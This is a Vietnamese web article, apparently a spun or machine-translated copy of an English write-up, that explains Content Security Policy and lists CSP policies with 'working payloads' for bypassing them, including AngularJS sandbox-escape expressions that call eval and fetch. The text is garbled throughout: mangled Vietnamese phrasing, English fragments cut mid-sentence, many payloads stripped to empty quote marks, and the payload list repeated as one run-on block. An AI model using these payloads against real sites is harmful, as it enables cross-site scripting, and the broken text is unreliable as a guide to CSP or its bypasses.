Content Security Policy là gì

Related Articles

Xin chào fan hâm mộ, bài viết này là một góp phần cho hội đồng mạng của chúng tôi mà từ đó tôi đã tích lũy được từng chút kiến ​ ​ thức của mình. Tôi sẽ nỗ lực đề cập đến toàn bộ những giải pháp bỏ lỡ CSP mà tôi đã học được cho đến nay .

CSP là gì?

CSP là viết tắt của Content Security Policy, là một chính sách để xác lập tài nguyên nào hoàn toàn có thể được tìm nạp hoặc thực thi bởi một website. Nói cách khác, nó hoàn toàn có thể hiểu là một chủ trương quyết định hành động những script, hình ảnh, iframe nào hoàn toàn có thể được gọi hoặc thực thi trên một trang cụ thể từ những vị trí khác nhau. Chính sách bảo mật thông tin nội dung được triển khai thông qua tiêu đề phản hồi hoặc thành phần meta của trang HTML. Từ đó, trình duyệt lôi kéo tuân theo chủ trương đó và dữ thế chủ động chặn những vi phạm khi chúng được phát hiện .

Tại sao nó được sử dụng?

Chính sách bảo mật nội dung được sử dụng rộng rãi để bảo mật các ứng dụng web chống lại việc đưa nội dung vào như các cuộc tấn công tập lệnh trên nhiều trang web. Cũng bằng cách sử dụng CSP, máy chủ có thể chỉ định giao thức nào được phép sử dụng. Chúng ta có thể nghĩ rằng CSP là giảm thiểu XSS không? Câu trả lời là không ! CSP là một lớp bảo mật bổ sung chống lại các cuộc tấn công chèn nội dung. Tuyến phòng thủ đầu tiên là mã hóa đầu ra và xác nhận đầu vào luôn luôn. Việc triển khai CSP thành công không chỉ bảo vệ một trang web chống lại những lỗ hổng này mà còn cung cấp một loạt các chi tiết tấn công không thành công, tức là bị chính CSP chặn. Quản trị viên web có thể được hưởng lợi khi sử dụng tính năng này để phát hiện một lỗi tiềm ẩn.

Làm thế nào nó hoạt động?

CSP hoạt động giải trí bằng cách hạn chế nguồn gốc mà nội dung dữ thế chủ động và thụ động hoàn toàn có thể được tải từ đó. Nó cũng hoàn toàn có thể hạn chế 1 số ít góc nhìn nhất định của nội dung đang hoạt động giải trí, ví dụ điển hình như việc thực thi JavaScript nội tuyến và việc sử dụng eval ( ) .

Nếu bạn là nhà phát triển, bạn sẽ yêu cầu xác định tất cả các nguồn gốc được phép cho mọi loại tài nguyên mà trang web của bạn sử dụng. Giả sử bạn là chủ sở hữu của một trang web abc.com và những trang web này tải nhiều tài nguyên như script, hình ảnh, css từ localhost và các nguồn khác nhau, chẳng hạn như allow.com. Một chính sách rất cơ bản sẽ là:

Được triển khai thông qua Tiêu đề phản hồi:

Content-Security-policy: default-src ‘self’; script-src ‘self’ allowed.com; img-src ‘self’ allowed.com; style-src ‘self’;



script-src : This directive specifies allowed sources for JavaScript. This includes not only URLs loaded directly into

tags.
plugin-types: It defineslimits the kinds of mime types a page may invoke.
upgrade-insecure-requests: This directive instructs browsers to rewrite URL schemes, changing HTTP to HTTPS. This directive can be useful for websites with large numbers of old URL’s that need to be rewritten.
sandbox: sandbox directive enables a sandbox for the requested resource similar to the

{{ x = $on.curry.call().eval(“fetch(‘http://localhost/index.php’).then(d => {})”) }}

“>

{{$eval.constructor(‘alert(1)’)()}}

“>

Content-Security-Policy: script-src ‘self’ ajax.googleapis.com; object-src ‘none’ ;report-uri /Report-parsing-url;

working payloads :

ng-app”ng-csp ng-click=$event.view.alert(1337)>

“>

Content-Security-Policy: script-src ‘self’ accounts.google.com/random/ website.with.redirect.com ; object-src ‘none’ ; report-uri /Report-parsing-url;

working payload :

“>’>”>

Content-Security-Policy:

default-src ‘self’ data: *; connect-src ‘self’; script-src ‘self’ ;

report-uri /_csp; upgrade-insecure-requests

working payloads :

* sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)

Content-Security-Policy : script-src https://facebook.com https://google.com ‘ unsafe-inline ‘ https://* ; child-src ‘ none ‘ ; report-uri / Report-parsing-url ; working payload : ” / > Content-Security-Policy : script-src https://facebook.com https://google.com ‘ unsafe-eval ‘ data : http://* ; child-src ‘ none ‘ ; report-uri / Report-parsing-url ; working payload : Content-Security-Policy : script-src ‘ self ‘ https://facebook.com https://google.com https : data * ; child-src ‘ none ‘ ; report-uri / Report-parsing-url ; working payloads : ” / > ‘ > ” / > ‘ > Content-Security-Policy : script-src ‘ self ‘ report-uri / Report-parsing-url ; working payloads : ” > ‘ > Content-Security-Policy : script-src ‘ self ‘ ; object-src ‘ none ‘ ; report-uri / Report-parsing-url ; working payloads : ” / > ‘ > Content-Security-Policy : script-src ‘ self ‘ https://www.google.com ; object-src ‘ none ‘ ; report-uri / Report-parsing-url ; working payload : ” > Content-Security-Policy : script-src ‘ self ‘ https://cdnjs.cloudflare.com/ ; object-src ‘ none ‘ ; report-uri / Report-parsing-url ; working payloads : {{ x = $on.curry.call().eval(“fetch(‘http://localhost/index.php’).then(d => {})”) }} “> {{$eval.constructor(‘alert(1)’)()}} “> Content-Security-Policy: script-src ‘self’ ajax.googleapis.com; object-src ‘none’ ;report-uri /Report-parsing-url; working payloads : ng-app”ng-csp ng-click=$event.view.alert(1337)> “> Content-Security-Policy: script-src ‘self’ accounts.google.com/random/ website.with.redirect.com ; object-src ‘none’ ; report-uri /Report-parsing-url; working payload : “>’>”> Content-Security-Policy: default-src ‘self’ data: *; connect-src ‘self’; script-src ‘self’ ; report-uri /_csp; upgrade-insecure-requests working payloads : * sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?) Cảm ơn bạn !Nếu có bất kể phản hồi hoặc đề xuất kiến nghị nào, hãy liên hệ với tôi @ Bhavesh_Thakur_

More on this topic

Comments

LEAVE A REPLY

Please enter your comment!
Please enter your name here

Advertismentspot_img

Popular stories